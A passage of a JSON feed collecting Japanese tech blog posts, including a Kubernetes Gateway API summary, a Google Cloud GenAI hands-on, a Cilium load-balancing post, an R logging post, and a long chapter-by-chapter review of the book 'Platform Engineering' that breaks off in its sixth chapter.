とは?L4とL7ルーティングを担う次世代のKubernetes Ingress、Load Balancing、Service Mesh APIsです。汎用的で表現力があり役割が分離できるように設計されています。役割指向Kubernetesのサービスネットワークの利用と設定を行う組織の役割を表現したAPIリソースに...","isoDate":"2024-10-31T02:57:25.000Z","dateMiliSeconds":1730343445000,"authorName":"Atsuya Tsukada","authorId":"atsuya0"},{"title":"WebサイトやGitHubソースコードを処理 (ハンズオン)","link":"https://shu-kob.hateblo.jp/entry/2024/10/29/190456","contentSnippet":"#7 WebサイトやGitHubソースコードを処理 (ハンズオン)【オンライン】 - connpassgenai-users.connpass.com勉強会の資料です。Google Cloudでクレデンシャルを取得IAMと管理 > サービスアカウント↓こちらの記事を参考shu-kob.hateblo.jp環境変数にセット以下はMacで、.zprofileの場合export GOOGLE_APPLICATION_CREDENTIALS=\\"/path/PROJECT_ID-XXXXXXXXXX.json\\"source ~/.zprofileソースコードを取得github.comgit clone https://github.com/shu-kob/genai-web-github-loadercd genai-web-github-loadernpm iWebページを読んで要約loadWebPages.tsで、プロジェクトIDの書き換えconst project = \'PROJECT_ID\' // 書き換える実行npx tsx loadWebPages.ts https://www.raumen.co.jp/rapedia/study_history/ソースコードの読み込んで仕様書を作成loadGitHubでプロジェクトIDの書き換えconst project = \'PROJECT_ID\' // 書き換える実行npx tsx loadGitHub.ts https://github.com/shu-kob/genai-web-github-loader","isoDate":"2024-10-29T10:04:56.000Z","dateMiliSeconds":1730196296000,"authorName":"Shu Kobuchi","authorId":"kobuchi"},{"title":"Cilium Node IPAM LBによるロードバランシング","link":"https://sreake.com/blog/cilium-node-ipam-lb-load-balancing/","contentSnippet":"はじめに Sreake事業部でインターンをしている小林です。 本記事では、Cilium v1.16で追加されたCilium Node IPAM LBを検証しました。 Ciliumのロードバランシング方法 CiliumでL […]The post Cilium Node IPAM LBによるロードバランシング first appeared on sreake.com | 株式会社スリーシェイク.","isoDate":"2024-10-28T05:08:45.000Z","dateMiliSeconds":1730092125000,"authorName":"Sreake","authorId":"Sreake"},{"title":"Rでログを出力する(loggerパッケージ)","link":"https://blog.atusy.net/2024/10/25/r-logger/","contentSnippet":"先日「Rでndjson形式のログを解析する]」の記事を書いた流れで、そういえばRでログを出力する方法を知らないな思ったので調べてみました。Rでログを扱うパッケージはいくつかありますが、開発が盛んなのはloggerパッケージのようです。最近(2024年8月がごろ)はHadleyも開発に入っているので、安心感がありますね。loggerパッケージのWebサイトには、類似パッケージの紹介もあるので、他を見当したい場合も、まずはここを見てみるとよいでしょう。","isoDate":"2024-10-25T00:00:00.000Z","dateMiliSeconds":1729814400000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"技術がなければ作れない、必要がなければ存在している資格がない - Platform Engineering: A Guide for Technical, Product, and People Leaders の読書感想文","link":"https://syu-m-5151.hatenablog.com/entry/2024/10/25/060600","contentSnippet":"我に似せる者は生き、我を象る者は死す(本質を理解して創造的に学ぶ者は発展し、表面的な模倣に留まる者は衰退する)。はじめに「Platform Engineering: A Guide for Technical, Product, and People Leaders」は、現場での実践知を出発点として、プラットフォームエンジニアリングの本質に迫る実践的なガイドとして、技術リーダーから上級管理職まで向けた幅広い読者層に向けて書かれています。個人的にはもう少しだけ広げて開発者やプラットフォームを実際に使う側も読んでも学びのある本だと思いました。著者のCamilleとIanの豊富な経験が凝縮された本書は、単なる表面的な手法の模倣ではなく、実際の現場での試行錯誤から導き出されたプラクティス、そしてその背後にある根本的な原理と思想を探求し、それが現代のソフトウェア開発組織においていかに革新的な価値を生み出すかを浮き彫りにしています。本書の真価は、プラットフォームエンジニアリングを単なる技術的な手法の集合としてではなく、日々の実践から得られた知見を体系化し、組織の進化と持続的な成長を促す戦略的な思考基盤として捉えている点にあります。技術的な実装の詳細よりも、組織が現場の文脈に根ざした実践を重ね、そこからプラクティスを抽出し、最終的にプラットフォームエンジニアリングの本質的な原則を理解して創造的に応用していく方法論に重点が置かれています。これは、現代のソフトウェア開発組織が直面する複雑性の管理と開発者体験の向上という課題に対する、本質的かつ持続可能な解決の道筋を示すものとなっています。Platform Engineering: A Guide for Technical, Product, and People Leaders (English Edition)作者:Fournier, Camille,Nowland, IanO\'Reilly MediaAmazonプラットフォームエンジニアリングの重要性プラットフォームエンジニアリングは、複雑なソフトウェア環境でのイノベーションを促進する開発者体験の向上に不可欠な鍵となり、クラウドへの移行だけでは解決できない問題に対処するための重要な基盤を提供しています。さらに、組織の成長に伴うスケーラビリティの要求とセキュリティニーズの両方に対応する重要な役割を果たすことで、現代のソフトウェア開発組織にとって極めて重要な存在となっています。learning.oreilly.com本書が組織的・戦略的側面に焦点を当てているのに対し、より技術的な側面、特にCloud Nativeな実装に興味がある方には、「Platform Engineering on Kubernetes」がおすすめです。こちらの書籍では、Kubernetesを基盤としたプラットフォームエンジニアリングの実践的なアプローチが詳細に解説されています。syu-m-5151.hatenablog.com両書を併読することで、プラットフォームエンジニアリングの組織的側面と技術的側面の両方を深く理解することができ、より包括的な知識を得ることができるでしょう。本書の構成と特徴本書は現場での実践を起点としながら、プラットフォームエンジニアリングを組織的、戦略的に展開するためのガイドとして構成されており、著者たちが数々の現場で直面した課題と、そこから得られた具体的で実行可能な知見を提供しています。特筆すべきは、個々の技術的解決策にとどまらず、チーム構成や製品管理、ステークホルダーマネジメントなど、現場で真に重要となる組織的側面にも焦点を当てている点で、日々の実践に携わる技術リーダーからCTOやSVPなどの組織の舵取りを担う上級管理職までを想定した実践的な内容となっています。最後に、これら3つのパートは、現場での実践から抽出された原則(Part I)、その原則に基づく具体的なプラクティス(Part II)、そしてそれらの効果を測定・評価する方法(Part III)という、現場起点の論理的な流れを形成しています。特に、第3部で提示される成功の定義は、第1部で説明される現場から導き出された原則と、第2部で示される実践的なアプローチを有機的に結びつける重要な役割を果たしています。本書は、プラットフォームエンジニアリングの現場で直面する本質的な難しさを率直に語っています。具体的には、「技術的に面白いから作る」のではなく現場で真に必要とされるものを見極めて提供するという価値提供の本質、計画の難しさを認識しつつも現場の文脈に応じて適切に実行するという実践知、そして組織の重要なシステムを支える責任を全うするための運用の成熟という現場力の醸成といった課題を挙げています。これらの課題に対して、本書は原則に基づきながらも現場の実態に即した解決の道筋を示しています。正しいものを正しくつくる プロダクトをつくるとはどういうことなのか、あるいはアジャイルのその先について作者:市谷 聡啓ビー・エヌ・エヌ新社AmazonPart I. Platform Engineeringの本質と意義第1部は、Platform Engineeringの根本的な「なぜ」と「何を」に焦点を当てています。Simon Sinekの「イノベーションは夢からではなく、苦闘から生まれる」という言葉に象徴されるように、本章では現代のソフトウェア開発が直面する複雑性と変化の課題に対して、Platform Engineeringがなぜ適切なアプローチなのかを解説しています。特に印象的なのは、Platform Engineeringの4つの柱(製品思考、ソフトウェアエンジニアリング、包括的アプローチ、運用効率)について、単なる理論的な枠組みではなく、実践的な基盤として提示している点です。私の経験でも、これらの要素のバランスを取ることが、プラットフォームチームの成功への鍵となっています。また、国内の参考資料として、jacopenさんの『「共通基盤」を超えよ! 今、Platform Engineeringに取り組むべき理由』がおすすめです。この記事を読むことで、本書の全体像がより明確に理解できるので一読してもらいたいです。 speakerdeck.comChapter 1. Why Platform Engineering Is Becoming Essential第1章「Why Platform Engineering Is Becoming Essential」は、プラットフォームエンジニアリングが現代のソフトウェア開発組織において不可欠となっている背景と理由について、包括的な視点から解説しています。著者は、過去25年間のソフトウェア組織が直面してきた共通の課題から説き起こし、クラウドコンピューティングとオープンソースソフトウェア(OSS)の台頭がもたらした複雑性の増大、そしてそれに対するプラットフォームエンジニアリングの解決アプローチを詳細に論じています。プラットフォームエンジニアリングの本質と定義著者は、プラットフォームを「自己サービス型のAPI、ツール、サービス、知識、サポートを、魅力的な内部プロダクトとして組み合わせた基盤」と定義しています。この定義は、単なる技術的な基盤以上のものを示唆しており、プラットフォームが組織全体に提供する価値を包括的に捉えています。他にもCNCFが公開している「CNCF Platforms White Paper」では、Platformsについて「クラウドネイティブコンピューティングのためのプラットフォームは、プラットフォームのユーザーのニーズに応じて定義・提示される統合された機能のコレクションです。幅広いアプリケーションやユースケースに対して、一般的な機能やサービスを取得・統合するための一貫した体験を確保するクロスカッティングなレイヤーです。優れたプラットフォームは、Webポータル、プロジェクトテンプレート、セルフサービスAPIなど、その機能やサービスの利用と管理に一貫したユーザー体験を提供します」と定義しています。tag-app-delivery.cncf.ioまた、プラットフォームエンジニアリングの成熟度を評価するための「Platform Engineering Maturity Model」も公開されていますので、ぜひ参考にしてください。tag-app-delivery.cncf.ioFigure 1-1. The over-general swamp, held together by glue より引用[Figure 1.1]では、「Over-General Swamp」の状態を示しており、多数のアプリケーションが個別のプリミティブと直接統合され、それらの間を大量のglueコードが繋いでいる様子が描かれています。この図は、プラットフォームが存在しない状態での複雑性の増大を視覚的に表現しています。あるプログラムで、異なるシステムやコンポーネントを連携させるために書かれる仲介的なコードのことです。このコードは、システムの本来の機能には直接関係しませんが、互換性のない部品同士をスムーズに連携させるために必要な「接着剤」のような役割を果たします。これを『グルーコード』と言います。ja.wikipedia.org特に印象的なのは、著者がプラットフォームエンジニアリングを複雑性を管理しながらビジネスへのレバレッジを提供するという明確な目的を持った規律として位置づけている点です。私の経験でも、単なる技術的な基盤提供を超えて、開発者の生産性向上とビジネス価値の創出を同時に実現することが、プラットフォームエンジニアリングの成功の鍵となっています。現代のソフトウェア開発における「Over-General Swamp」の問題Figure 1-2. How platforms reduce the amount of glue より引用[Figure 1.2]は、プラットフォームエンジニアリングによる解決後の状態を示しています。この図では、プラットフォームが複数のプリミティブを抽象化し、アプリケーションとの間にクリーンなインターフェースを提供している様子が描かれています。glueコードが大幅に削減され、システム全体の見通しが改善されていることが分かります。著者は現代のソフトウェア開発環境を「Over-General Swamp(過度に一般化された沼)」と表現し、この比喩を通じて複雑性の罠を見事に描き出しています。クラウドとOSSの普及により、開発者は豊富な選択肢を手に入れましたが、それは同時に「接着剤(glue)」と呼ばれる統合コードやカスタム自動化の増加をもたらしました。プラットフォームエンジニアリングによる解決アプローチ著者が提示するプラットフォームエンジニアリングの解決策は、製品としてのアプローチを重視しています。これは、ユーザー中心の視点を持ちながら、機能の取捨選択を慎重に行い、全体としての一貫性と使いやすさを追求することを意味します。Appleの製品開発アプローチを例に挙げながら、著者は機能の追加だけでなく、むしろ何を含めないかの判断の重要性を強調しています。INSPIRED 熱狂させる製品を生み出すプロダクトマネジメント作者:マーティ・ケーガン,佐藤真治,関満徳日本能率協会マネジメントセンターAmazon技術的な側面では、プラットフォームエンジニアリングは複雑性を管理可能なレベルに抑えることを目指します。例えば、インフラストラクチャの分野では、Terraformの例を用いて、個々のチームが独自にインフラストラクチャを管理する場合の問題点と、プラットフォームによる抽象化がもたらす利点が説明されています。DXを成功に導くクラウド活用推進ガイド CCoEベストプラクティス作者:黒須 義一,酒井 真弓,遠山 陽介,伊藤 利樹,饒村 吉晴日経BPAmazonプラットフォームチームの役割とイノベーション著者は、プラットフォームチームの役割について、従来のインフラストラクチャ、DevTools、DevOps、SREの各アプローチとの違いを明確に示しています。これらの従来のアプローチは、それぞれの専門分野に特化していますが、プラットフォームエンジニアリングはこれらの境界を越えて、より包括的な価値を提供することを目指します。チームトポロジー 価値あるソフトウェアをすばやく届ける適応型組織設計作者:マシュー・スケルトン,マニュエル・パイス日本能率協会マネジメントセンターAmazon特筆すべきは、著者がイノベーションとプラットフォームの関係について、現実的な見解を示している点です。プラットフォームは既存の技術スタック内でのビジネスイノベーションを促進する一方で、プラットフォームの範囲を超えた革新的な取り組みも必要だと認めています。例えば、データ領域での新しい技術の採用など、プラットフォームの制約を一時的に超えることが必要な場合もあると指摘しています。章全体からの学び第1章は、プラットフォームエンジニアリングが現代のソフトウェア開発組織にとって不可欠な理由を説得力のある形で提示しています。複雑性の増大、運用負荷の増加、イノベーションの必要性といった課題に対して、プラットフォームエンジニアリングは包括的な解決策を提供します。著者は、プラットフォームエンジニアリングが単なる技術的な取り組みではなく、組織全体の成功に関わる戦略的な施策であることを強調しています。これは、私の実務経験とも強く共鳴する見解です。プラットフォームエンジニアリングの成功には、技術的な卓越性だけでなく、組織的な変革とイノベーションのバランスを取ることが求められます。今後のソフトウェア開発組織にとって、プラットフォームエンジニアリングの導入は避けて通れない課題となるでしょう。本章は、その理由と意義を深く理解するための優れた導入を提供しています。特に、プラットフォームエンジニアリングが組織にもたらす具体的な価値と、その実現に向けた実践的なアプローチについての示唆は、多くの組織にとって有用な指針となるはずです。特に注目すべきは、プラットフォームを「製品」として扱うアプローチや、ステークホルダーマネジメントの重要性など、技術面だけでなく組織的な側面にも焦点を当てている点です。これらの知見は、プラットフォームエンジニアリングの実践において大きな価値をもたらすと考えられます。プラットフォームエンジニアリングリーダーとして、本書から学んだ知識を自身のチームや組織に適用し、より効果的なプラットフォーム戦略を構築していくことが重要です。また、本書が提起する課題や解決策について、同僚や業界のピアとのディスカッションを通じて、さらなる洞察を得ることができるでしょう。このような実践と対話を通じて、プラットフォームエンジニアリングの分野がさらに発展していくことが期待されます。「翻訳記事 -「インフラ基盤部門は本当に必要か」に関する議論」なんかもとても良い記事なので読んでほしいです。ca-srg.devChapter 2. The Pillars of Platform Engineering第2章「The Pillars of Platform Engineering」は、プラットフォームエンジニアリングの4つの重要な柱について詳細に解説しています。著者は、Product(製品としてのアプローチ)、Development(ソフトウェアベースの抽象化)、Breadth(幅広い開発者への対応)、Operations(基盤としての運用)という4つの柱を通じて、効果的なプラットフォームエンジニアリングの実践方法を示しています。これらの柱は相互に補完し合い、成功するプラットフォームエンジニアリングの基礎を形成しています。キュレートされた製品アプローチの重要性プラットフォームエンジニアリングにおける最初の柱は、キュレートされた製品アプローチです。このアプローチは、単なる技術的な実装を超えて、ユーザーのニーズを中心に据えた戦略的な製品開発を意味します。著者は、これを「paved paths(舗装された道)」と「railways(鉄道)」という2つの異なるタイプのプラットフォーム製品として説明しています。Paved Pathsは、複数のオファリングを統合した使いやすいワークフローを提供し、アプリケーションチームから複雑性を隠蔽しながら、パレート原理に基づいて20%のユースケースで80%のニーズをカバーすることを目指す標準的なアプローチを提供します。Figure 2-1. Architecture of a paved path platform より引用[Figure 2.1]は「paved path」の概念を視覚的に表現しており、複数のオファリングを使いやすいワークフローとして統合し、アプリケーションチームから複雑性を隠蔽する方法を示しています。これは共通のニーズに対応するための標準的なアプローチを提供することを目的としており、著者が提唱する製品としてのプラットフォームの本質を端的に表現しています。Railwaysは、既存製品では対応できない特定ニーズに応え、組織全体に特定の機能を提供するための重要なインフラストラクチャ投資を伴い、プロトタイプから進化してスケーラブルなソリューションを提供する新しい形態のプラットフォームです。Figure 2-2. Architecture of a railway platform より引用[Figure 2.2]は「railway」型プラットフォームを示しており、既存の製品では対応できない特定のニーズに応える新しい形態のプラットフォームを表現しています。具体例として、バッチジョブプラットフォーム、通知システム、グローバルアプリケーション設定プラットフォーム、データ処理パイプライン、監視・モニタリングプラットフォームなどが挙げられます。プラットフォームを製品として捉えることは、単なる技術的な選択以上の意味を持ちます。ユーザー中心のデザインを通じて一貫性のある使いやすいインターフェースを提供し、明確なドキュメンテーションと効果的なオンボーディング体験を実現することが重要です。また、必要な機能の追加と不要機能の大胆な削除を行いながら、機能の優先順位付けを適切に管理し、継続的な改善サイクルを通じてユーザーフィードバックを収集・分析し、パフォーマンス指標の測定と定期的な機能の見直しを行うことが求められます。ソフトウェアベースの抽象化の実現著者は、「ソフトウェアを構築していないなら、それはプラットフォームエンジニアリングではない」と明確に述べています。この主張は、プラットフォームエンジニアリングの本質を理解する上で極めて重要です。効果的な抽象化を実現するためには、適切な粒度での機能分割、一貫性のあるインターフェース、バージョニング戦略、エラーハンドリングなどのAPI設計の原則に加えて、スケーラビリティ、パフォーマンス、セキュリティ、監視可能性などの実装上の考慮事項も重要となります。幅広い開発者ベースへのサービス提供プラットフォームの対象は幅広い開発者ベースであり、セルフサービス機能、ユーザー観測性、ガードレール、マルチテナンシーが重要な要素となります。これらは直感的なユーザーインターフェースとAPI駆動の自動化による効率的なワークフロー、詳細なログ記録とパフォーマンスメトリクス、セキュリティ制御とリソース制限、そしてリソースの分離とアクセス制御を実現します。GenerativeAIの影響と展望著者は、GenerativeAIがプラットフォームエンジニアリングに与える影響について、MLOpsの進化、ツールチェーンの整備、インフラストラクチャの効率化、データガバナンス、LLMエコシステムの観点から包括的な分析を提供しています。これには、モデル開発ライフサイクル管理とデプロイメント自動化、研究者向けインターフェースと非技術者向け操作性、コンピュートリソースとストレージの最適化、プライバシー保護とコンプライアンス対応、そしてモデル選択と統合が含まれます。基盤としての運用プラットフォームが組織の基盤として機能するためには、プラットフォームへの責任、プラットフォームのサポート、運用規律という3つの要素が不可欠です。これらは、エンドツーエンドの管理と問題解決の主導、ユーザーサポート体制とドキュメンテーションの充実、そして標準化されたプロセスと品質管理を通じて実現されます。章全体からの学び第2章は、プラットフォームエンジニアリングの4つの柱を通じて、成功するプラットフォームの要件を明確に示しています。技術的な卓越性、組織的な変革、イノベーション、継続的な進化が、プラットフォームエンジニアリングの成功には不可欠です。これらは最新技術の適用とパフォーマンスの最適化、チーム構造の最適化とスキル開発、新技術の評価と導入、そしてフィードバックの収集と反映を通じて実現されます。これらの要素は相互に関連し、バランスの取れた実装が必要となります。プラットフォームエンジニアリングは継続的な取り組みであり、技術的な側面だけでなく、組織的な支援と文化の醸成を通じて常に進化し続ける必要があります。Part II. Platform Engineering Practices第2部は、C.S.Lewisの「卵が鳥になるのは難しいかもしれないが、卵のままで飛ぶ方がよほど難しい」という言葉から始まり、プラットフォームエンジニアリングの実践的な側面に焦点を当てています。著者は8つの主要な失敗パターンを特定し、それぞれに対する具体的な解決策を提示しています。特に重要なのは、プラットフォームエンジニアリングが単なるインフラストラクチャエンジニアリングやDevOpsの再ブランディングではないという指摘です。私のチームでも、適切なタイミングでの開始、適切な人材ミックス、製品思考の導入、効果的な運用という要素が、成功への重要な要因となっています。Chapter 3. How and When to Get Started第3章「How and When to Get Started」は、プラットフォームエンジニアリングの導入時期と方法について、組織の成熟度や規模に応じた具体的なアプローチを提供しています。著者は、三つの主要な状況に焦点を当て、各シナリオにおける成功への道筋を示しています。小規模組織でのプラットフォーム協力の育成著者は小規模スタートアップにおけるプラットフォームエンジニアリングのアプローチを、成熟度モデルを用いて説明しています。特に注目すべきは、アドホック段階とやや管理された段階という2つのフェーズの定義です。この文脈で参考になるのが、CNCF Platform Engineering Maturity Modelです。このフレームワークは、組織の成熟度を評価し、次のステップを計画する際の指針となります。tag-app-delivery.cncf.ioアドホック段階では、シンプルな自動化と基本的なプロセスの確立に焦点を当てることが推奨されています。著者は、この段階で重要なのはソースコントロール、自動化された継続的デプロイメント、そして軽量なプロセスの3つの要素だと強調しています。これは私の経験とも一致しており、特に小規模チームにおいては、過度に複雑なプロセスや高度な技術スタックを避け、シンプルさを保つことが重要です。やや管理された段階では、チームの成長に伴い、より構造化されたアプローチが必要となります。著者はローカル開発環境の自動化、ステージング環境の整備、観測可能性の向上などの要素を重視しています。この段階での重要な洞察は、技術選択の社会化と意思決定プロセスの確立の必要性です。チームトポロジー 価値あるソフトウェアをすばやく届ける適応型組織設計作者:マシュー・スケルトン,マニュエル・パイス日本能率協会マネジメントセンターAmazon協力を代替するプラットフォームチームの創設組織の成長に伴い、アドホックな協力体制から正式なプラットフォームチームへの移行が必要となります。著者は、この移行のタイミングとしてダンバー数(50-250人)を参考指標として挙げています。これは、組織内の協力関係が自然に維持できる限界を示す重要な指標です。この移行のプロセスについては、DevOps Topologiesが有用な参考資料となります。web.devopstopologies.com著者は、プラットフォームチームの設立において、所有権の中央集権化がもたらす利点とコストのバランスを慎重に検討する必要性を強調しています。特に注目すべきは、新しい技術やアーキテクチャではなく、問題解決に焦点を当てるという原則です。これは、プラットフォームチームが陥りがちな、技術的な理想主義による過度な複雑化を避けるための重要な指針となります。internaldeveloperplatform.org伝統的なインフラストラクチャ組織の変革既存のインフラストラクチャ組織をプラットフォームエンジニアリング組織へと変革する過程について、著者は包括的なガイダンスを提供しています。特に重要なのは、エンジニアリング文化全体の変革の必要性です。従来のコスト管理やベンダー交渉中心の文化から、ユーザー中心の製品開発文化への転換が求められます。この変革プロセスを支援するフレームワークとして、Thoughtworks Technology Radarが有用です。www.thoughtworks.com特に重要なのは、エンジニアリング文化全体の変革の必要性です。従来のコスト管理やベンダー交渉中心の文化から、ユーザー中心の製品開発文化への転換が求められます。 本を紹介します。伝統的な組織からプロダクト中心の組織への移行について詳しく解説しています。PROJECT TO PRODUCT フローフレームワークでデジタルディスラプション時代に成功する方法作者:MIK KERSTENパレードAmazon変革のプロセスにおいて、著者は段階的なアプローチの重要性を強調しています。最も有望な領域から始め、成功事例を積み重ねていくことで、組織全体の変革を推進することが推奨されています。また、プロダクトマネージャーの役割についても現実的な視点が示されており、単にプロダクトマネージャーを採用するだけでは不十分で、エンジニアリングチームの協力が不可欠であることが指摘されています。「変化を嫌う人」を動かす:魅力的な提案が受け入れられない4つの理由作者:ロレン・ノードグレン,デイヴィッド・ションタル,船木 謙一(監修)草思社Amazon章全体からの学び第3章は、プラットフォームエンジニアリングの導入と発展に関する実践的なガイドを提供しています。とりわけ重要なのは、組織の規模や成熟度に応じて適切なアプローチを選択する必要性です。私自身も組織のプラットフォームエンジニアリングを主導している立場から、小規模スタートアップでは軽量なプロセスと基本的な自動化から始め、成長に伴って段階的に発展させていく著者の提案に強く共感します。特に印象的なのは、著者がプラットフォームエンジニアリングを単なる技術的な取り組みではなく、組織文化の変革として捉えている点です。これは私の実務経験とも一致しており、多くの組織が陥りがちな技術偏重のアプローチを避けるための重要な示唆となっています。例えば、私のチームでは新しい技術の導入よりも、まず既存の問題解決と開発者体験の向上に焦点を当てることで、より持続可能な変革を実現できています。また、チーム編成に関する著者の洞察も非常に実践的です。特に、大企業出身のエンジニアの採用に関する警告は、私自身の経験からも非常に的確だと感じています。優れた技術力を持っていても、規模の異なる組織での経験をそのまま適用しようとする傾向は、しばしば新たな問題を引き起こす原因となりうるからです。この章の知見は、今後のプラットフォームエンジニアリングの実践において重要な指針となるでしょう。組織の成熟度に応じた段階的なアプローチ、ユーザー中心の文化醸成、そして適切なチーム構築は、成功への鍵となる要素です。私たちプラットフォームエンジニアリングリーダーは、これらの知見を活かしながら、各組織の状況に適した変革を推進していく必要があります。Chapter 4. Building Great Platform Teams第4章「Building Great Platform Teams」は、プラットフォームエンジニアリングチームの構築と育成に焦点を当てています。この章では、効果的なプラットフォームチームの構築に必要な多様な役割と、それらの役割間のバランスの取り方について、実践的な知見が提供されています。特に、ソフトウェアエンジニアとシステムエンジニアの異なる視点をどのように融合させ、顧客中心のプラットフォームを構築するかという課題に深く切り込んでいます。シングルフォーカスチームの課題単一の視点に偏ったチーム構成は、長期的に見て大きな課題を生み出します。システムエンジニアに偏重したチームは運用面では優れているものの、プラットフォームの抽象化や設計面で課題を抱えがちです。一方、ソフトウェアエンジニアに偏重したチームは新機能の開発には長けていますが、運用安定性や既存システムの改善に対する意識が低くなりがちです。私の経験からも、この両極端な状況を目にすることが多々あります。過去のプロジェクトでは、システムエンジニアの視点が強すぎるあまり、新機能開発に対して過度に慎重になり、結果として顧客ニーズへの対応が遅れるという課題がありました。一方で、開発速度を重視するあまり、運用の視点が欠如し、本番環境での深刻な問題を引き起こすケースも見てきました。Figure 4-1. Breaking down the major engineering roles in a platform engineering team より引用[Figure 4-1]で示されているように、プラットフォームエンジニアリングチームにおける主要なエンジニアリング役割の分類は、このバランスの重要性を明確に表しています。プラットフォームエンジニアの多様な役割プラットフォームエンジニアリングチームにおける主要な役割について、著者は4つの異なる専門性を持つエンジニアの重要性を強調しています。Software Engineerはソフトウェア開発に特化しながらもシステムへの深い理解と運用への関心を持ち、ビジネスクリティカルなシステムのオンコール対応ができ、慎重なペースでの開発に納得できる人材です。Systems EngineerはDevOpsエンジニアやSREに近い立場ながら、より広範な視点を持ち、インフラストラクチャの統合からプラットフォームのコードベースに関わる深いシステムの問題解決まで、幅広い業務を担当します。Reliability Engineerは信頼性に特化し、インシデント管理、SLOのコンサルティング、カオスエンジニアリング、ゲームデイの実施など、システム全体の信頼性向上に注力します。そしてSystems Specialistは、ネットワーキング、カーネル、パフォーマンス、ストレージなど、特定の技術領域に深い専門性を持つエンジニアですが、著者はこの役割については組織の規模と必要性が明確になってから採用することを推奨しています。特に印象的なのは、各役割の採用と評価についての具体的なアドバイスです。例えば、システムエンジニアの採用において、コーディング面接の柔軟な運用を提案しています。私のチームでもこのアプローチを採用し、結果として運用経験が豊富で、かつ適度なコーディングスキルを持つエンジニアの採用に成功しています。また、クラウドネイティブプラットフォームの構築において、これら4つの役割が相互に補完し合い、それぞれの専門性を活かしながら協働することで、より堅牢なプラットフォームの実現が可能になることを日々の実務で実感しています。プラットフォームエンジニアリングマネージャーの重要性プラットフォームエンジニアリングマネージャーには、プラットフォームの運用経験、長期プロジェクトの経験、そして細部への注意力が不可欠です。私の経験上、特に運用経験の重要性は強調してもしすぎることはありません。複雑なシステムの運用経験がないマネージャーが、技術的な課題の深刻さを過小評価し、結果として重大なサービス障害を引き起こすケースを何度も目にしてきました。プロダクトマネジメントのすべて 事業戦略・IT開発・UXデザイン・マーケティングからチーム・組織運営まで作者:及川 卓也,小城 久美子,曽根原 春樹翔泳社Amazonチーム文化の構築と維持チーム文化の構築は、技術的な課題と同じくらい重要です。著者が示す開発チームとSREチームの統合事例は、私自身のチーム統合経験とも共鳴する部分が多くあります。特に、異なる文化を持つチームを統合する際の段階的なアプローチは、非常に実践的です。私のチームでは、定期的な技術共有セッションとクロスファンクショナルなプロジェクト編成を通じて、異なる背景を持つエンジニア間の相互理解を促進しています。これにより、「システムチーム」vs「開発チーム」という対立構造を避け、より協調的な文化を醸成することができています。章全体からの学びプラットフォームエンジニアリングチームの成功には、技術的なスキルと組織文化の両面でのバランスが不可欠です。著者の提案する4つの役割分類と、それぞれの役割に対する適切な評価・育成方法は、実践的で価値のある指針となっています。特に重要なのは顧客エンパシーです。これは単なるスキルではなく、チーム全体の文化として根付かせる必要があります。プラットフォームエンジニアリングチームが提供する価値は、単なる技術的な解決策ではなく、顧客の課題を深く理解し、それに対する適切な解決策を提供することにあるからです。今後のプラットフォームエンジニアリングには、技術の進化に加えて、組織のデジタルトランスフォーメーションへの対応も求められます。この章で学んだチーム構築の原則は、そうした変化に対応する上で重要な指針となるでしょう。個人的な経験からも、技術と人、そして文化のバランスを取ることが、持続可能なプラットフォーム組織の構築には不可欠だと確信しています。Chapter 5. Platform as a Product第5章「Platform as a Product」は、プラットフォームエンジニアリングにおいて、プラットフォームを製品として捉えるアプローチの重要性と実践方法について深く掘り下げています。著者は、組織内プラットフォームの構築において、プロダクト思考を採用することの意義と、その実現に向けた具体的な戦略を提示しています。顧客中心のプロダクトカルチャーの確立著者は、内部顧客の特性として、小規模な顧客基盤、囚われの観客、利害の対立、顧客満足度の変動、そして時として競合者となり得る顧客の存在を挙げています。私の経験でも、特に囚われの観客という特性は重要で、単にプラットフォームの使用を強制するのではなく、真に価値のある製品として受け入れられる必要があります。著者が提唱する「顧客エンパシー」の文化は、面接プロセスからの組み込み、顧客中心の目標設定、ユーザーフィードバックの定期的な収集など、具体的な施策を通じて醸成されます。私のチームでも、エンジニアのサポート輪番制を導入し、顧客の課題を直接理解する機会を設けることで、より顧客志向の製品開発が実現できています。プロダクトディスカバリーとマーケット分析新しいプラットフォーム製品の発見と検証について、著者は他チームが構築した成功事例を基に広範な用途に適用可能な製品として発展させること、特定のチームと協力して具体的な課題解決から始めて一般化可能な製品を作り出すこと、そして導入障壁が低く明確な価値提案を持つ製品から着手することという三つのアプローチを提示しています。プロダクトロードマップの重要性著者は、プロダクトロードマップの構築において、プラットフォームが目指す理想的な状態を示す長期的なビジョン、ビジョン実現のための具体的なアプローチを示す中期的な戦略、定量的な成功指標となる年間目標とメトリクス、そして具体的な実装計画となる四半期ごとのマイルストーンという段階的なアプローチを提案しています。この考え方は、「プロダクトマネージャーのしごと 第2版」でも強調されており、同書ではプロダクトマネージャーの重要な役割として、ビジョンとロードマップの策定、顧客ニーズの深い理解、データ駆動の意思決定、そしてステークホルダーとの効果的なコミュニケーションを挙げています。特に、プロダクトロードマップは単なる実装計画ではなく、製品の戦略的な方向性を示す重要なツールとして位置づけられています。プロダクトマネージャーのしごと 第2版 ―1日目から使える実践ガイド作者:Matt LeMayオーム社Amazon失敗のパターンと対策著者は主要な失敗パターンとして、移行コストの過小評価、ユーザーの変更予算の過大評価、安定性が低い状況での新機能価値の過大評価、そしてエンジニアリングチームの規模に対する製品マネージャーの過剰な配置を指摘しています。私の経験からも、特に移行コストの過小評価は深刻な問題となりがちで、新機能の魅力に目を奪われ、既存システムからの移行に伴う実務的な課題を軽視してしまうケースを何度も目にしてきました。章全体からの学びプラットフォームを製品として扱うアプローチの成功には、文化、製品市場適合性、実行の3つの要素が不可欠です。著者が強調するように、単なる技術的な優位性ではなく、顧客価値の創出と組織全体への影響を考慮した包括的なアプローチが求められます。プラットフォームエンジニアリングリーダーとして、この章から学んだ最も重要な教訓は、技術的な卓越性と顧客価値のバランスを取ることの重要性です。プラットフォームは技術的に優れているだけでなく、実際のユーザーにとって価値のある、使いやすい製品でなければなりません。また、私はプロダクトマネジメントについて学んできてなかったので主張としてなんとなくしか理解できない事柄もいくつかあった。Chapter 6. Operating Platforms第6章「Operating Platforms」は、プラットフォームエンジニアリングにおける運用の本質と、その実践的なアプローチについて深く掘り下げています。この章では、プラットフォームの運用が単なる技術的な課題ではなく、組織全体の成功に直結する戦略的な要素であることを強調しています。著者は、「レアなことは規模が大きくなると一般的になる」という Jason Cohen の言葉を引用しながら、プラットフォームの規模拡大に伴う運用上の課題とその対処方法について詳細に論じています。【改訂新版】システム障害対応の教科書作者:木村 